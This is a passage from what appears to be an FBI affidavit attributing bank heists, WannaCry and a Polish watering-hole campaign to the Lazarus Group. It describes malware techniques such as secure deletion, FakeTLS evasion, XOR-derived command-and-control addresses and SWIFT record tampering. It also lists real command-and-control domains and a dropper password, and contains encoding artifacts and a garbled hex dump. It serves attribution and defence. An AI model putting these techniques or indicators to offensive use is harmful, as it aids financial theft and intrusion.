attacked SPE. 179. Forensic analysis of compromised computers at Bangladesh Bank and other banks has revealed links to the attack against SPE\xe2\x80\x99s network. In particular, a specific \xe2\x80\x9csecure delete\xe2\x80\x9d function was found in malware on the compromised networks of multiple financial institution victims, linking those intrusions together. That secure delete function was also found in a piece of malware (SierraCharlie) uploaded to VirusTotal.com (\xe2\x80\x9cVirusTotal\xe2\x80\x9d)15 (an online repository of malware) from 14 See, e.g., https://baesystemsai.blogspot.com/2016/04/two-bytes-to- 951m.html; http://baesystemsai.blogspot.com/2016/05/ cyber-heist-attribution.html; and https://www.symantec.com/ connect/blogs/swift-attackers-malware-linked-more-financial-attacks. 15 VirusTotal, which is owned by Google, is an online service that analyzes files and URLs enabling the identification of viruses, worms, Trojans, and other kinds of malicious content detected by antivirus engines and website scanners. VirusTotal does not distribute or advertise any products belonging to third-parties. VirusTotal aggregates dozens of antivirus engines and scanners to scan each file submitted and provides the detection results of these engines, free of charge. VirusTotal also allows users of its subscription service to run Yara rules across approximately the last 75-80 TB of data submitted, which typically results in searching approximately the last 90 days of files submitted, based on a typical month. A Yara rule is a tool that can assist with identifying and classifying digital files, including malware. A Yara rule essentially contains a description of patterns of text or binary (zero or one) numbers. This pattern can then be used to search digital files or databases to quickly find instances in which the pattern is found. Specifically, a pattern tailored to match a particular feature in a piece of malware can be used to identify related files, or \xe2\x80\x9cfamilies,\xe2\x80\x9d that might have been written from the same base of source code. That \xe2\x80\x9cpattern\xe2\x80\x9d can be based on a set of commands that the malware will perform, or it can be based on stored values or static data kept in the contents of the malware, or on other features. Typically, malware samples recovered from victims or from publicly available sources are in \xe2\x80\x9cbinary\xe2\x80\x9d or \xe2\x80\x9cmachine\xe2\x80\x9d code, and Yara rules are designed to detect whatever pattern they are seeking in machine code. 73 http:https://www.symantec.com http://baesystemsai.blogspot.com/2016/05 https://baesystemsai.blogspot.com/2016/04/two-bytes-to http:VirusTotal.com an unknown source, but which shared a framework with the Brambul worm samples found on SPE\xe2\x80\x99s compromised network. In addition to the information obtained from Bangladesh Bank, I learned the following from other FBI agents, an FBI computer scientist, information received from SPE, a private cyber security firm\xe2\x80\x94Mandiant\xe2\x80\x94retained by the U.S. Attorney\xe2\x80\x99s Office and the FBI to analyze the malware that the FBI has collected from multiple sources, and other private cyber security firms publicly available reporting: a. Three samples of the Brambul worm described in Part V.B were recovered from SPE\xe2\x80\x99s network. Forensic analysis determined that these samples\xe2\x80\x99 code shared substantial similarities to the code of a different family of malware that was dubbed \xe2\x80\x9cSierraCharlie\xe2\x80\x9d by private cyber security company Novetta in a publicly available report titled \xe2\x80\x9cOperation Blockbuster.\xe2\x80\x9d Further analysis determined that these similarities are due to the fact that both types of malware (Brambul and SierraCharlie) were likely created from the same code framework; that is, both share one generic, reusable body of code with components that a programmer can selectively interchange to create new pieces of software, without having to rewrite redundant code segments for each piece of software. Researchers have been unable to identify this specific framework in other software or malware, which strongly suggests that the same programmers who created the Brambul and SierraCharlie malware also created the framework underlying each of those types of malware. b. A particular sample of SierraCharlie named \xe2\x80\x9cmsoutc.exe,\xe2\x80\x9d uploaded to VirusTotal on March 4, 2016 by an unidentified person, contains a unique function to securely delete a file from a computer\xe2\x80\x99s hard drive in a manner that makes it extremely difficult, if not impossible, to recover in a subsequent forensic examination. Although the source of this SierraCharlie sample is not known, this file is significant because it contains both a secure delete function (that was seen in malware found at Bangladesh Bank and a bank infected in Vietnam) 74 and shared the same overall framework of the Brambul malware recovered from SPE\xe2\x80\x99s network that was used during the intrusion (as discussed above in paragraph 179.a). i. The particular secure delete function\xe2\x80\x99s characteristics are that it first generates random data to over-write the part of the hard drive that was allocated to store the file that is to be deleted (making the file irrecoverable). It then renames the file to a random name that is all lowercase letters that has the same number of letters as the original filename. Finally, it performs a regular Windows deletion of that file with the new random filename. ii. This secure deletion function existed in a nearly identical form in a piece of malware named \xe2\x80\x9cevtsys.exe\xe2\x80\x9d that performed a role in the cyber- heist from Bangladesh Bank. Specifically, one piece of malware named \xe2\x80\x9cevtdiag.exe\xe2\x80\x9d was configured to access the database that stored records of messages on the SWIFT server at Bangladesh Bank. That malware (evtdiag.exe) was used to delete the specific messages that instructed the fraudulent transactions in the theft, in essence covering some of the subjects\xe2\x80\x99 tracks. The malware evtdiag.exe was also designed to send an instruction to evtsys.exe to securely delete itself (evtdiag.exe) on February 6, 2016, at 6:00 a.m. per the computer\xe2\x80\x99s local time (even further covering their tracks, by deleting the malware used to delete the messages). However, Bangladesh Bank personnel shut down the server on February 5, 2016. When the server was started again on February 6, 2016, evtdiag.exe failed to send its deletion instruction, resulting in an apparently inadvertent preservation of the malware. According to multiple private sector security researchers, the secure delete function present in evtsys.exe has only been observed in malware samples that are tools linked to North Korea, and specifically to the Lazarus Group. c. The same secure delete function in msoutc.exe described above that was used by SierraCharlie and evtdiag.exe was also found in a piece of 75 malware (FoxItReader.exe) recovered from a computer at the Vietnamese Bank. Officials at the Vietnamese Bank have informed the FBI that the SWIFT messages that were sent were fraudulently created as a result of a computer intrusion. This piece of malware was also designed to conceal evidence of specific SWIFT messages, although in a somewhat different way than the evtdiag.exe malware did at Bangladesh Bank, as discussed in paragraph 179.b.ii. i. The manner in which the malware found at the Vietnamese Bank conducted this concealment was tailored to unique aspects of the Vietnamese Bank\xe2\x80\x99s business processes. Specifically, the Vietnamese Bank\xe2\x80\x99s connectivity to the SWIFT network was managed by a third-party company. Each SWIFT message sent to or from the Vietnamese Bank was memorialized in an individual PDF document stored on the third-party\xe2\x80\x99s server, whereas Bangladesh Bank printed paper copies of the SWIFT messages. Vietnamese Bank employees in general would remotely connect to the third-party\xe2\x80\x99s server and use a program called FoxIt Reader in order to review the documents containing records of the SWIFT messages. ii. The malware used against the Vietnamese Bank was designed in such a manner that when the Vietnamese Bank employees attempted to open these PDF documents in FoxIt Reader, they would instead inadvertently initiate the malware. The malware would analyze the document being opened to determine whether it met certain criteria designed to determine if the PDF document being opened would contain evidence of the fraudulent messages. If the document did meet the criteria, then the malware would first make certain modifications to the document, then instruct the legitimate FoxIt Reader software to open the modified document so that the user would be unaware that anything unusual had occurred. The end result was that documents that contained records of the fraudulent SWIFT messages sent by the subjects would be modified so that the 76 http:179.b.ii bank employee viewing the record would remain unaware of the fraudulent message. d. This same secure delete function was further identified within a malware sample belonging to the Contopee family\xe2\x80\x94specifically, a sample of Contopee that was recovered from the network of the Philippine Bank. It utilized a specific DDNS domain, onlink.epac.to, in the manner described in paragraphs 47\xe2\x80\x93 48. This domain was managed by an account at a DDNS provider; this same account was accessed on October 6, 2015 from a North Korean IP address. Furthermore, the NESTEGG backdoor malware\xe2\x80\x94that was also found at Bangladesh Bank\xe2\x80\x94was deployed throughout the Philippine Bank\xe2\x80\x99s network in a computer intrusion from November 2015 to January 2016, shortly before the subjects sent the fraudulent SWIFT messages from Bangladesh Bank. 4. FakeTLS Data Table 180. I learned from those same sources referenced in paragraph 179 that further forensic analysis revealed that all three samples of the MACKTRUCK malware used in the attack on SPE were linked to the NESTEGG sample found at the Philippine Bank as well as to the Contopee backdoor malware used in the intrusions at the Philippine Bank and the Southeast Asian Bank (the same bank referred to above in paragraphs 143 and 175) by way of a data table coded within the malware. The purpose of the data table was previously unknown, because although many samples of MACKTRUCK (including those used at SPE), Contopee (including those used at the Philippine Bank and the Southeast Asian Bank), and NESTEGG (the one used at the Philippine Bank) contained this data table, none were known to contain any code that actually referenced the table (i.e., made any use of it). In other words, in these samples the data table was unused, static code that served no function, and thus its presence was not readily apparent when the malware was analyzed. 77 http:onlink.epac.to 181. The fact that this data table existed in the malware used in each of those intrusions is, however, of significance because that alone suggests that the same subject or subjects were responsible for these intrusions, given that the static data table had not been seen in other malware. Moreover, the fact that the static data table was inactive in these malware variants further suggests that the subject or subjects who authored the malware were drawing code from a central or common library or database of malware. In other words, the static data table was likely an inadvertent artifact that resulted when the subjects compiled multiple pieces of malware from source code to machine code using that common library. I know, based on my training and experience, that programming mistakes can result in the inadvertent inclusion (during the compilation process) of parts of a code library that are not always necessary in the finished piece of software. Given that the static data table had no discernable function in the multiple pieces of malware referenced above, this appears to be the most plausible explanation for its presence in those malware files. 182. I learned from those same sources that that same static data table was also found in an early version of a ransomware worm malware dubbed \xe2\x80\x9cWannaCry\xe2\x80\x9d (from approximately February 2017, \xe2\x80\x9cVersion 0\xe2\x80\x9d discussed below). The table, as used in that early version of WannaCry, is pictured below.16 (The WannaCry worm is further discussed below in Part X.) 16 See http://baesystemsai.blogspot.com/2017/05/wanacrypt0r- ransomworm.html 78 http://baesystemsai.blogspot.com/2017/05/wanacrypt0r http:below.16 10012A90 65 00 00 00 54 00 4D 00 50 00 00 00 74 00 6D 00 e ... T .M.P ... t.rn. 10012AAO 70 00 00 00 03 00 04 00 05 00 06 00 08 00 09 00 p ............... 10012ABO OA 00 OD 00 10 00 11 00 12 00 13 00 14 00 15 00 - - - - - - - - - - - - - - - - 10012ACO 16 00 2F 00 30 00 31 00 32 00 33 00 34 00 35 00 .. / .0.1.2.3.4.5. 10012ADO 36 00 37 00 38 00 39 00 3C 00 3D 00 3E 00 3F 00 6.7.8.9.(.~.>.?. 1 0012AEO 40 00 41 00 44 00 45 00 46 00 62 00 63 00 64 00 @.A.D.E.F.b.c.d. 10012AFO 66 00 67 00 68 00 69 00 6A 00 68 00 84 00 87 00 f .g .h .i .j .k .a-~. 10012800 88 00 96 00 FF 00 01 co 02 co 03 co 04 co 05 co e .G. - .. + + + + + 10012810 06 co 07 co 08 co 09 co OA co OB co oc co OD co + + + + + + + + 10012820 OE co OF co 10 co 11 co 12 co 13 co 14 co 23 co _+_+_+_+_+_+_+#+ 10012830 24 co 27 co 28 co 2C co FF FE 00 00 31 2E 32 2E $+'+++,+\xc2\xb7: .. 1.2. 1 0012840 JI """" """" """" SC I q """" SC """" oc 6C 5F 6D 61 69 6E 7 ... th dll main - - - 183. Notably, however, in both the sample of WannaCry and one particular sample of Contopee that had been uploaded to VirusTotal, the static data table was critical to the malware\xe2\x80\x99s functioning\xe2\x80\x94specifically, as to conducting FakeTLS communication. Subsequently, the FBI has identified a total of nineteen samples, including samples of NESTEGG, that contain this function that actually makes use of the static data table, all of which are either directly related to WannaCry or otherwise linked to the Lazarus Group based on one or more other attributes in the malware. Those nineteen samples\xe2\x80\x94including the samples of WannaCry and Contopee described above\xe2\x80\x94used the identical static data table in the same way: in the process of randomly generating certain information to send while initiating a FakeTLS communication, as follows: a. The TLS Handshake Protocol is used by computers establishing a secure connection with each other to (1) choose which cipher suite will be used throughout their exchange, (2) authenticate the server to the client, and (3) exchange session key information. b. A standard, legitimate TLS handshake is initiated when a client sends a \xe2\x80\x9cClientHello\xe2\x80\x9d network data packet to a server. This packet is intended to transmit certain pieces of information about the client to the server in order for both systems to establish a mutually intelligible communication channel; this 79 information includes the TLS Protocol Version, Session ID, Cipher Suite, and Compression Method. Of particular note, for reasons discussed below, is the cipher suite field. The TLS protocol, in versions 1.2 and older, specifies a list of cryptographic algorithms, or cipher suites, which can be used to encrypt TLS communications. Each cipher suite is assigned a two-byte identification code for reference purposes. When a client initiates a TLS communication, it sends the server a list of these codes to indicate which cipher suites it is capable of supporting. The server can then compare this to the cipher suites that it supports, in order to choose an appropriate cipher suite to use to encrypt the remainder of the TLS communication. c. As noted above in paragraphs 164.b\xe2\x80\x93164.c and 183, several pieces of malware closely resembling those used in previous Lazarus Group intrusions contain a function that generates a packet resembling the TLS ClientHello packet in order to initiate a FakeTLS communication with a command and control server operated by the subjects. These pieces of malware contain a hardcoded data structure that contains a list of 75 two-byte values, which is the data table referred to above. These two-byte values correspond to valid TLS cipher suites as described above. The function randomly selects one of the following numbers: 12, 18, 24, 30, and 36. It then selects that same number of cipher suite identifiers from the TLS data table. These identifiers are then input into the cipher suite field of the ClientHello packet that the function generates. d. As a result, the ClientHello packet has a randomly selected list of cipher suites with a variable length. This makes it more difficult for network security software to accurately distinguish between legitimate TLS traffic and malicious network traffic generated by malware that contains this FakeTLS code, and thus more difficult to effectively block malicious network traffic without inadvertently blocking legitimate network traffic. 80 184. The similarities between different samples of malware described above in paragraphs 180\xe2\x80\x93183 are significant because they demonstrate that the authors of all of the malware samples very likely had access to the same collection of original source code, including the static table used for FakeTLS traffic. As noted below, it is highly unlikely that disparate groups of persons independently created these various malware variants. Instead, the most likely explanation is that a single group of subjects created all the malware or, at a minimum, had direct access to the source code used in these malware variants\xe2\x80\x94source code that was not publicly available. a. Although minimal, targeted changes to the binary code of an executable program (also called \xe2\x80\x9cpatching\xe2\x80\x9d it, as described below in paragraph 188.b) are relatively easy to make, it is much more difficult to make substantial changes or additions to binary code of an executable program. This is because the process of compiling source code (that human programmers compose and revise) to binary code (or \xe2\x80\x9cmachine code\xe2\x80\x9d that computers process) automatically generates references to virtual memory addresses throughout the binary code that the program uses to store and manipulate information. Any modifications to the binary code that would change the relative position of these virtual memory references within the file would invalidate them. It would therefore likely take a substantial amount of effort to recalculate these references in order to restore the functionality of the program if one were trying to make major or even minor changes but preserve the functionality of the program. b. Alternately, if a person wanted to make substantial changes or additions to binary code, a programmer could hypothetically reverse-engineer, or \xe2\x80\x9cdecompile,\xe2\x80\x9d the binary code of a piece of malware to its original source code, then modify that source code and recompile it into a new program. However, the compilation process involves many steps wherein the code is automatically modified 81 and reorganized to optimize it so that a computer can run the program more efficiently, as compared to the manner in which a human originally wrote the source code. Thus, decompiling the binary code would result in the creation of a product that appears to be substantially different than the original source code. If that decompiled source code were then recompiled, the optimization procedures applied to it would further modify it, resulting in binary code that would be different from the original program. The degree of similarity in the functions repeated between the malware samples noted above largely precludes this hypothetical scenario, rendering this alternative similarly implausible. Therefore, it is likely that the creators of each of the pieces of malware discussed above had access to the same source code for each of the unique functions described above. 5. DNS Function 185. A malware sample belonging to the NESTEGG family of backdoors containing the same FakeTLS ClientHello function and data table described above in paragraphs 180\xe2\x80\x93183 also contained a function that looked up a domain in the same manner described in paragraph 49. This particular function of the malware (1) queries a domain passed to it by the malware (i.e., from a different section of the malware), (2) receives a response from that DNS \xe2\x80\x9clook-up,\xe2\x80\x9d (3) then performs a mathematical manipulation (specifically, an \xe2\x80\x9cXOR,\xe2\x80\x9d or \xe2\x80\x9cexclusive OR,\xe2\x80\x9d17 operation) on the result using a hardcoded value in order to generate a new IP address to contact, and then (4) releases the memory space allocated to temporarily store the result of the DNS query. 17 An XOR is a simple operation that, in binary code (consisting of 0s and 1s), combines two strings of code sequentially with each other, here (a) the code corresponding to the IP address assigned to the domain and (b) the hard-coded key value. When the values of each position are the same (either both 0s, or both 1s), the result is 0; when the values are both different (either 1 and 0, or 0 and 1), the result is 1. 82 a. Releasing memory space is a common procedure required in most programming languages. It is designed to ensure that the program uses a minimal amount of the computer\xe2\x80\x99s memory. Specifically, temporary data that has been stored in the memory needs to be \xe2\x80\x9creleased\xe2\x80\x9d or \xe2\x80\x9cdeallocated,\xe2\x80\x9d which does not necessarily erase the data, but allows the computer to reuse that memory space for another purpose. (This type of memory is commonly referred to as \xe2\x80\x9cRAM\xe2\x80\x9d or random access memory, which is used while the computer is executing processes and running applications, and is separate from the storage capacity of a hard drive or other medium where most files are stored.) b. In general, one of two functions may be available on a Windows system that a program can use in order to release the memory from the results of a DNS query. One function exists in the Windows XP and later versions of the Windows operating system (Windows XP was released in 2001), whereas the other exists in earlier versions of Windows and is now deprecated, meaning that it is only currently implemented to ensure that older software written to use this function remain compatible with newer versions of Windows. In the specific case of the NESTEGG DNS query function, both of these Windows functions are implemented, meaning that the portion of the code designed to work with Windows versions earlier than Windows XP is surplus and unnecessary in most cases except for when it is used on extremely old versions of the Windows operating system. c. I learned from Mandiant that many code samples published in open sources contain references to both of these DNS deallocation functions in the same manner. However, these code samples do not contain an ability to manipulate the result of the DNS query (here, by using the XOR function described in paragraph 49). Thus, although the subjects do appear at times to use open-source code to create their malware, they sometimes also appear to modify that code in a unique and telltale manner. 83 186. An FBI computer scientist searched a repository of malware samples compiled in the course of this investigation using a Yara rule (see footnote 15) designed to identify samples of malware that conducted the following three actions in the exact manner as the NESTEGG sample described above in paragraph 185: that is, malware samples that (1) performed a DNS look-up or resolution request, (2) manipulated the result of that request, and (3) contained this pre- and post- Windows XP manner of releasing or de-allocating memory. The search yielded four files that contain these features. Two were Contopee samples, one was the NESTEGG sample discussed above in paragraph 185 and one was the msoutc.exe file (i.e., SierraCharlie) discussed above in paragraph 179.c. The fact that these samples performed those three actions in the same exact manner further demonstrates that these families of malware were likely authored by the same programmers that are the subjects of this investigation. A third Contopee sample found at the Southeast Asian Bank shared all of the same attributes, except it was a 64-bit, Visual C++ 10.0 sample, indicating it may have been created using portions of the same source code but compiled in a different environment. That Contopee sample also contained the data table described in Part VIII.D.4. This is the same Southeast Asian Bank referred to in paragraph 175, where NESTEGG was used with the same encryption key used at Bangladesh Bank and the African Bank. 187. In sum, an early WannaCry sample and that NESTEGG sample contained the TLS function; that NESTEGG sample also contained the DNS function described in this Part, as did msoutc.exe (SierraCharlie); and msoutc.exe in turn is connected to both Brambul (found at SPE) via a shared framework and to evtsys.exe (found at Bangladesh Bank) via the secure delete function. 84 6. Intrusion at the African Bank: Connections to Bangladesh Bank 188. In 2016, the aforementioned African Bank became the victim of a computer intrusion and cyber-heist that initially resulted in the theft of approximately $100,000,000. The subjects routed the funds to accounts in multiple countries in Asia, but those funds were ultimately returned by those banks at the request of the African Bank. I learned the following from an FBI computer scientist based on his and others\xe2\x80\x99 forensic analysis of devices that were recovered from that intrusion, which devices contained artifacts consistent with both the use of malware and malicious activity at the subjects\xe2\x80\x99 other victims: a. Forensic analysis of the SWIFT server at the African Bank shows that, early in 2016, several entries were created in a specific part of the Windows Registry (a database of Windows software settings) that is characteristic of NESTEGG. The data stored in these entries include the MD5 hash of the password nf300karjfs9e8rhtQJ3u9gh, which, as mentioned above in paragraphs 173\xe2\x80\x93175, is the same as the password used to execute the NESTEGG dropper at Bangladesh Bank. As noted in paragraph 173, the MD5 hash of the password was generated in order to generate the key used to decrypt the resources, and as noted in paragraph 175, this password had not, to my knowledge or the knowledge of the FBI computer scientist or other researchers with whom he consulted, been publicly published on the internet or through other open sources at the time of either incident. b. On the day of the unauthorized transfers, the subjects modified several files that formed components of the SWIFT Alliance Access software on the African Bank\xe2\x80\x99s SWIFT server. Later forensic analysis recovered an executable program named fpat.exe from the African Bank\xe2\x80\x99s SWIFT server. The program fpat.exe was capable of making targeted modifications to otherwise legitimate Alliance Access files. In particular, the forensic analysis and analysis of the 85 malware determined that one SWIFT Alliance Access file that had been modified was \xe2\x80\x9cpatched,\xe2\x80\x9d meaning that a very small portion of its binary instructions were overwritten. That particular file would ordinarily prevent changes to the database that recorded all SWIFT messages exchanged by the bank, but once it was modified or \xe2\x80\x9cpatched,\xe2\x80\x9d the subjects were able to access and modify the database. This modification was done in a way that was nearly identical to the intrusion at Bangladesh Bank, except that in the intrusion of Bangladesh Bank, the modification was only conducted on a copy of the Alliance Access file as it was loaded into the computer\xe2\x80\x99s memory, while in the intrusion of the African Bank, the modification was implemented on the file as it was stored on the server\xe2\x80\x99s hard drive. c. Forensic analysis further revealed that a file named nroff.exe had been placed on the African Bank\xe2\x80\x99s SWIFT server on the day the unauthorized messages were sent. Although artifacts of the file\xe2\x80\x99s use were found, the file itself had been deleted by the time a forensic copy of the server was obtained, and therefore the malware sample itself was not recovered from the African Bank. The file named nroff.exe is typically a legitimate software tool used by Alliance Access to format the text of a SWIFT message in preparation for printing. The fact that a file with that same name was created in the Alliance Access program folder on the same date that the fraudulent messages were sent suggests that this particular file named nroff.exe was not the legitimate SWIFT Alliance Access file, but instead was malware with that name specifically placed on the African Bank\xe2\x80\x99s SWIFT server by the subjects. Later on the same day, the same file was erased in a manner likely intended to prevent forensic recovery and analysis (although not the same way as discussed above in paragraph 179.b). Of note, the intrusion at Bangladesh Bank used a piece of malware also called nroff.exe to intercept and modify fraudulent transactions that would have otherwise been automatically printed for the bank\xe2\x80\x99s 86 records. Thus, it is likely that the nroff.exe file observed at the African Bank was also malware designed to accomplish a similar purpose. d. Moreover, forensic analysis identified three text files on the server that contained Structured Query Language (\xe2\x80\x9cSQL\xe2\x80\x9d) statements, which are specially formatted instructions to query a database for information. i. These statements contained generic instructions that configured how the output of the database query should be formatted. The statements also contained specific instructions to retrieve information from the bank\xe2\x80\x99s database of SWIFT messages related to a SWIFT message that contained a specified Transaction Reference Number (\xe2\x80\x9cTRN\xe2\x80\x9d). (A TRN uniquely identifies a transaction within a bank\xe2\x80\x99s records.) These text files containing the SQL statements were created on the same day that the fraudulent messages were sent from the African Bank, and they specified the same TRN that was used in one of the fraudulent SWIFT messages sent from the bank on that date. ii. Further forensic analysis uncovered artifacts showing the existence of other text files with the same naming convention as those three text files, but those files had been \xe2\x80\x9czeroed\xe2\x80\x9d out, i.e., the allocated space on the hard drive for them had been replaced with all zeroes. Zeroing out a file is not something that is done when a user tries to delete a file using the Windows operating system, and this therefore likely shows that the subjects intended to conceal the contents of those files. Given that they had the same naming convention and were zeroed out, those files may have contained the SQL statements designed to query for the TRNs for the other fraudulent transactions originating from the African Bank. iii. Furthermore, the evtdiag.exe malware described in paragraph 179.b.ii, which was identified on Bangladesh Bank\xe2\x80\x99s SWIFT server, contained a feature designed to create nearly identical text files (to those discussed above) containing SQL statements. These SQL statements that the Bangladesh 87 http:179.b.ii Bank malware was designed to create were identical to the ones actually found on the African Bank\xe2\x80\x99s SWIFT server, except for several data fields that were specific to the bank and to the specific transactions that the SQL statements were intended to retrieve. (The SQL statements were generally identical, except for the BICs and the TRNs.) This is significant because the SQL statements contained very specific and apparently idiosyncratic instructions to retrieve and format the data. In other words, those SQL statements were not just a generic methodology for querying the database, rather they represent a unique signature of activity. 7. Watering Hole Campaign Targeting Financial Institutions 189. In January 2017, the FBI learned of a malicious cyber campaign that targeted the Polish banking sector and affected multiple victims, including Polish financial institutions. I have reviewed numerous reports regarding the campaign, received information from the Polish National Police, and spoken with individuals involved in the response to this campaign. The series of intrusions has been characterized as one of the most serious information security incidents, if not the most serious information security incident, that has occurred in Poland. The intrusion was likely discovered before the hackers could successfully steal any funds, as the FBI has not obtained any evidence indicating that any fraudulent monetary transfers occurred in the incident. The subjects executed similar schemes in Mexico and a South American country (discussed below). As discussed below, artifacts indicating that NESTEGG was used in Poland and the use of North Korean IP Address #5 both show that the subjects of this affidavit were also responsible for these intrusions. 190. Specifically, the subjects behind the computer intrusions spread malware by infecting the website of the Polish Financial Supervision Authority, www.knf.gov.pl, with malware and used the compromised website in what is known as a \xe2\x80\x9cwatering hole\xe2\x80\x9d attack. A watering hole attack occurs when a hacker 88 www.knf.gov.pl compromises a website that is known to be visited by intended victims. As the intended victims visit the website, typically as part of their normal business practices, the intended victims (and sometimes unintended victims) are infected with malware that gives the hacker access to the intended victim networks. In this case, the subjects likely assumed numerous banks would regularly visit the website of the Polish Financial Supervision Authority, making that website an ideal candidate to be used as a watering hole to infect banks in Poland. 191. The investigation into the campaign has revealed that the watering hole was likely in place from October 5, 2016 through February 2, 2017. The malware on the watering hole was configured to verify if any visitor to the website was one in whom the subjects were interested, by using an IP address \xe2\x80\x9cwhitelist\xe2\x80\x9d that would only infect computers coming from selected ranges of IP addresses\xe2\x80\x94 many of which were IP addresses assigned to banks. The whitelisted victims would then be re-directed to one of two legitimate, but compromised, websites: http://sap.[DOMAIN REDACTED].ch/vishop/view.jsp?pagenum=1 or http://www.[DOMAIN REDACTED].in/design/fancybox/images.jsp?pagenum=1. a. Multiple private cyber security research companies reported discovering evidence indicating that the website of a Mexican financial regulator had also referred traffic to one of the domains redacted in the previous paragraph, although to a different resource on the domain, on November 8, 2016.18 This was also reflected in the logs received by the FBI showing which computers accessed the domain. b. An additional website of a bank in South America (the \xe2\x80\x9cSouth American Bank\xe2\x80\x9d) also appeared to have communicated with that same domain 18 E.g., http://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole- attacks.html 89 http://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole http://www.[DOMAIN http://sap.[DOMAIN (redacted above), based on data that had been submitted to VirusTotal.19 Specifically, that data showed that on approximately October 26, 2016, when a person visited the website of the South American Bank, the person\xe2\x80\x99s computer was directed to request data from that same compromised domain. Thus, while in Poland and Mexico the subjects used a regulatory authority\xe2\x80\x99s website as a watering hole, in the South American country it appears that the subjects used an individual bank\xe2\x80\x99s website as the watering hole. c. A malware sample with a file name Winslui.exe, which also used the compromised domain referenced above, was uploaded to VirusTotal on October 27, 2016 from the same country as the South American Bank. (The fact that the malware sample used the same domain as the known domain of the watering hole and was uploaded from the same South American country strongly suggests that it was uploaded by a victim of, or cyber security researcher investigating, the South American Bank watering hole campaign.) Microsoft and Symantec each identified it as a backdoor, and Symantec reported it was linked to the Lazarus Group based on unique strings of text contained in the malware.20 Specifically, it concealed elements of its functionality by storing text in an encrypted form that could be decrypted at the time that the malware was executed. These exact same strings of text were identified in a sample of Brambul that was uploaded to VirusTotal on November 30, 2011, which used xiake722@gmail.com as a collector email account (see paragraph 41). 192. The FBI has confirmed that NESTEGG was found on the victim computer network at one of the victim banks in Poland, and forensic analysis 19 Although VirusTotal is commonly used as a repository of malware samples, here the data uploaded to VirusTotal was the traffic between the South American Bank site and an unidentified person\xe2\x80\x99s web browser. 20 https://www.symantec.com/connect/blogs/attackers-target-dozens-global- banks-new-malware-0. 90 https://www.symantec.com/connect/blogs/attackers-target-dozens-global mailto:xiake722@gmail.com http:malware.20 http:VirusTotal.19 conducted and published by Kaspersky has identified that hosts inside the victim environment contained a file \xe2\x80\x9cgpsvc.exe,\xe2\x80\x9d which is known to the FBI to be a version of NESTEGG based on its structure and behavior, and based on separate analysis by another private cyber security company.21 Although the FBI has not had direct access to the computers that were compromised, the investigators who were involved in responding to that incident found forensic artifacts that revealed that that NESTEGG sample was directly linked to the watering hole involving the Polish banking regulator. The malware used in the intrusion included a configuration file named srsservice.hlp that included two DDNS domains: tradeboard.mefound.com and movis-es.ignorelist.com.22 The victim computer would resolve one of these two DDNS domains to determine the IP address assigned to the domains, and\xe2\x80\x94as described in paragraph 49\xe2\x80\x94use that IP address to calculate a new IP address via an XOR operation. This newly calculated IP address would then be used as the \xe2\x80\x9creal\xe2\x80\x9d command and control node. 193. Any IP addresses attempting to resolve these DDNS domains are likely victims or intended victims of intrusions by the subjects. An IP address assigned to the Polish victim bank referenced above connected to tradeboard.mefound.com hundreds of times between January 12 and February 2, 2017, and an IP address assigned to a different Polish financial services company connected to the same domain dozens of times between October 26, 2016 and January 21, 2017. 21 https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf 22 Records obtained by the FBI show that the account that created tradeboard.mefound.com also created the DDNS domains shareboard.mrbonus.com, wconsult.longmusic.com, and paystore.onedumb.com, and that the account that created movis-es.ignorelist.com also created the DDNS domain lcgmd.strangled.net and is linked to the account that created geodb.ignorelist.com and vnistudio.mooo.com. 91 http:vnistudio.mooo.com http:geodb.ignorelist.com http:lcgmd.strangled.net http:movis-es.ignorelist.com http:paystore.onedumb.com http:wconsult.longmusic.com http:shareboard.mrbonus.com http:tradeboard.mefound.com https://securelist.com/files/2017/04/Lazarus_Under_The_Hood_PDF_final.pdf http:tradeboard.mefound.com http:tradeboard.mefound.com http:company.21 194. As noted above in paragraph 191.a\xe2\x80\x93191.b, while the watering hole website in Poland was directing intended victims to the two compromised redacted domains, those compromised domains were also receiving connections from victims in Mexico and the South American country. a. An IP address assigned to a Mexican bank connected to tradeboard.mefound.com multiple times between December 23, 2016 and January 19, 2017; connected to movis-es.ignorelist.com dozens of times between December 21, 2016 and February 9, 2017; and connected to geodb.ignorelist.com between February 10 and 13, 2017. b. An IP address assigned to a second Mexican bank connected to tradeboard.mefound.com on January 18, 2017 and movis-es.ignorelist.com multiple times between January 14 and 19, 2017. c. An IP address assigned to a third Mexican bank connected to movis-es.ignorelist.com dozens of times between February 1 and 15, 2017. d. Eight different IP addresses from the country where the South American Bank is located connected to movis-es.ignorelist.com nearly 100 times between December 22, 2016 and January 16, 2017, and seven different IP addresses from that country connected to tradeboard.mefound.com approximately 15 times between October 31, 2016 and January 15, 2017. Based on WHOIS records for these IP addresses it was not possible to determine who or what the specific victim(s) were that tried to \xe2\x80\x9clook up\xe2\x80\x9d or resolve the domains.23 (WHOIS is a protocol to query regionally-managed publicly available databases of domain registry 23 Large internet service providers that serve a large number of customers will occasionally use a \xe2\x80\x9cname server\xe2\x80\x9d that will both perform DNS \xe2\x80\x9clook ups\xe2\x80\x9d when the provider\xe2\x80\x99s customers try to look up domains, and caches or locally stores the IP addresses assigned to those domains. In those instances, the name server actually performs the resolution request on behalf of its customer (here, the victim trying to look up a domain under the control of the subjects). 92 http:domains.23 http:tradeboard.mefound.com http:movis-es.ignorelist.com http:movis-es.ignorelist.com http:movis-es.ignorelist.com http:tradeboard.mefound.com http:geodb.ignorelist.com http:movis-es.ignorelist.com http:tradeboard.mefound.com information, showing who registered the use of a particular domain or IP address, his/her/its contact information, and the IP address assigned to a particular domain.) 195. In May 2017, Russian cyber security firm Group IB published a detailed report24 that analyzed computer intrusions on the financial sector that included the Bangladesh Bank heist and the watering hole attack in Poland. The key finding of the report was that two North Korean IP addresses (one of which was North Korean IP Address #5) were using a complex three-layer series of hop points in order to command-and-control the malware being used in these intrusions in the financial sector. 196. While the Group IB report did not explain all of the evidence on which it relied, its findings are corroborated by the findings in the ongoing investigation by the FBI\xe2\x80\x94specifically, that this same North Korean IP Address #5 has been used by the subjects in connection with their attempts to infiltrate financial institutions (as noted in paragraph 177). Additionally, its findings regarding the use of multiple proxies is corroborated by the FBI and Department of Homeland Security\xe2\x80\x99s public release regarding a North Korean backdoor malware called FALLCHILL.25 197. North Korean IP Address #5 shares other connections to the subjects, as described in the following paragraphs. a. On multiple days in March 2015, North 